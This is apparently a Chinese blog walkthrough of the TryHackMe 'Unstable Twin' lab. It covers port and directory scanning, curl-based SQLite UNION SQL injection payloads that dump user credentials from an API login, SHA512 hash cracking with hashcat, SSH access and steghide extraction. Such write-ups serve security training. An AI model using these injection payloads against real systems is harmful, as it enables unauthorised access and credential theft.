当前位置: 首页 > news >正文

Unstable Twin - TryHackMe

Unstable Twin

一、信息收集

使用nmap对网站ip的开放端口进行扫描

nmap -sS -sV -A  -Pn 10.10.187.113 

image-20250914205915169

开放了22端口和80端口

使用dirsearch扫描一下看看还有没有其他目录

dirsearch -u http://10.10.187.113  -e php,html,txt -t 100

image-20250914210231318

这里我访问网站网站显示一片空白课,我以为是我哪里出错,后面看了wp发现这里要对API的目录进行爆破

dirsearch -u http://10.10.187.113/api  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 

发现在api下面有个登录页面 login 但该 URL 不允许你当前使用的 HTTP 方法

HTTP方法不对

  • 默认浏览器使用 GET 请求

  • 但是接口只允许 POST,所以返回 405 Method Not Allowed

API 不是普通网页

  • 你访问的是一个 RESTful API 接口,不是 HTML 登录页面
  • 浏览器直接访问通常会报错,而 curl 可以用 -X POST 正确调用接口

image-20250914212234217

这里我们使用curl看看服务器响应

curl 是一个非常常用的命令行工具,用于在终端或脚本中发送 HTTP/HTTPS 请求以及其他协议请求(FTP、SMTP、SFTP 等),并获取服务器响应。

curl -v http://10.10.187.113/info

这里我发现一半时间我们的版本是 1.3.4-dev ,一半时间我们的 版本是1.3.6-final ,服务器名称是也是一样 VincentJulias

image-20250914214507200

二、渗透利用

我们尝试对login用弱口令登录一下

image-20250914214643892

我们将POST 数据格式传输的命令格式改为json格式

curl -v -X POST 'http://10.10.187.113/api/login'  -d '{"username":"admin","password":"admin"}'

image-20250914215332123

成功与服务器获得交互,并且报错了,我,们看看这里数据库有没有sql注入

curl  -X POST 'http://10.10.213.54/api/login'  -d {"username":"admin' OR '1'='1","password":"x"} 

这里发现一个很有意思的情况,我输入命令的时候一半是有结果的一半是没有结果的,可能跟前面服务器不同有关系

image-20250915120858267

这当我们输入测试语句后也是成功和数据库进行交互了 这样我们可以在这里进行手工测试发现数据库了是SQLite的

curl -X POST 'http://10.10.213.54/api/login'  -d "username=admin&password=admin'UNION SELECT 1,sqlite_version()--"

在SQLite里面没有database的概念只有文件名,我们直接查表名就行了

获取所有表名(拼接成一行)

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM sqlite_master WHERE type='table')--&password=x"

image-20250915124524243

获取列名

curl -i -X POST 'http://10.10.213.54/api/login' \-H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('users'))--&password=x"

image-20250915124626762

获取用户/密码

curl -i -X POST 'http://10.10.213.54/api/login' \-H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(username||':'||password,',') FROM users)--&password=x"

image-20250915131133837

刚刚在看表名的时候还有一个notes的表看看里面有什么东西

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('notes'))--&password=x"

image-20250915125545609

查询密码

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(user_id||':'||note_sql||':'||notes,',') FROM notes)--&password=x"

image-20250915125915857

三、哈希爆破

这里给了一段密码

eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933422cf984324f645b84427343f4

这里我们使用haiti识别一下这段密码

image-20250915130559727

发现这里是用SHA512加密过多 我们使用hashcat对这段密文进行爆破

image-20250915130833963

得到破译后的密码 experiment

image-20250915130901719

我们使用ssh登录,mary_ann 因为上面测试出来只有这个用户的密码没有出来

image-20250915131235826

拿到user.flag

image-20250915131410029

四、隐写术

这里给了我们一段提示已经找到了靶场里的 notes 表或笔记信息你需要获取每个人的图片(image)除了找到所有家人的图片,还要找到自己的图片
我们需要找到这些图片 看了太麻烦了看了一眼wp 这些图片藏在/opt下面

image-20250915132921470

这我看了wp 反正我使用scp打包文件再使用kali下载 和开启http服务都不能下载图片 在wp里面写着还有一个隐藏的目录/get_image 可以通过字典扫描出来,我们通过这个目录下载这些图片

names=("Arnold-Schwarzenegger" "Danny-DeVito" "Bonnie-Bartlett" "Kelly-Preston" "Chloe-Webb")
for name in "${names[@]}"; docurl -o "${name}.jpg" "http://10.10.213.54/get_image?name=${name}" 
done

image-20250915135928132

如果这个用不了就老实一个一个下载吧

wget http://10.10.213.54/get_image\?name\=mary_ann 
wget http://10.10.213.54/get_image\?name\=julias
wget http://10.10.213.54/get_image\?name\=linda         
wget http://10.10.213.54/get_image\?name\=marnie  
wget http://10.10.213.54/get_image\?name\=vincent 

我们使用setghide对里面的文件逐一提取

image-20250915142454163

image-20250915143001842

在数据库注入那会每个姓名对应一种颜色 这里提示让我们根据彩虹颜色顺序来进行排列

image-20250915142805010

Red - 1DVsdb2uEE0k5HK4GAIZ
Orange - PS0Mby2jomUKLjvQ4OSw
Yellow - jKLNAAeCdl2J8BCRuXVX
Green - eVYvs6J6HKpZWPG8pfeHoNG1 
组合一下就是:1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdl2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1 

image-20250915143105914

这是一段base62编码 拿去厨房解码一下https://gchq.github.io/CyberChef

image-20250915144929615

最后:不知道是我的问题还是这个靶场的问题 这个靶场的wp我写了很久,有很多奇怪的问题太难受了

http://www.rkmt.cn/news/5194.html

相关文章:

  • 完整教程:从 WildCard 野卡到 gptplus.plus:一次解决 OpenAI 支付难题的实战复盘,轻松搞定Gpt充值
  • BOE(京东方)IPC电竞嘉年华盛典圆满收官 第三届无畏杯总决赛引领电竞生态发展热潮
  • 95.费解的开关
  • Spotify 音乐ML练习数据集含158 个特征,11
  • 最新药物数据集下载:来自Drugs
  • 400小时大规模南昌方言数据集助力方言保护、AI语音识别技术开发与文化传承研究,覆盖多样化场景与说话者,专业采集高质量音频与文本标注,支持深度学习、语音模型训练、方言教学工具及本地化智能语音交互应用
  • 350+张高清晰度冲积土、黑土、煤渣土、红土四类土壤类型图像资源 ,专为计算机视觉算法训练与地球科学研究设计,支持精准农业土壤识别、地质勘探辅助分析及环境监测应用,提升土壤分类模型准确性
  • 阶跃星辰开源Step-Video-T2V模型:300亿参数打造高保真视频生成新标杆
  • 多多报销小程序系统详解
  • 第0章 矿卡EBAZ4203爆改zynq开发板介绍和VIVADO的安装
  • 无痕检测是否注册iMessage服务,iMessages数据筛选,iMessage蓝号检测协议
  • Thundbird无法获取自签证书。
  • Gitee推出SBOM扫描功能:为开源供应链安全构筑数字防火墙
  • mysql连表查询,轻松掌握多表数据关联技巧
  • Qt-捕获摄像头画面
  • .NET驾驭Word之力:COM组件二次开发全攻略之连接Word与创建你的第一个自动化文档
  • 用户沉默之日,产品衰亡之时:逃离迭代中的“沉默陷阱”
  • 从工具到生态:现代Bug管理系统的平台化转型之路
  • JavaWeb基础
  • uni-app项目支付宝端Input不受控
  • 开启研究生学习阶段
  • 李航统计学习方法第二版 学习笔记
  • 如何拥有自己的一台永久免费云主机/云服务器
  • 发现一个新的资源论坛 - 小小程序员
  • 深入解析:Unity:XML笔记(二)——Xml序列化、反序列化、IXmlSerializable接口
  • C# Avalonia 13- MoreDrawing - CustomPixelShader
  • 使用标签Tag控制蒙太奇的触发时机-playmontageAndWait-Send GameplayEvent-WaitGameplayEvent
  • GAS_Aura-Spawn FireBolt from Event
  • Java 微服务架构中的实践与挑战
  • 国产IT运维卡壳?乐维智能运维体让运维团队告别“适配难、监控乱”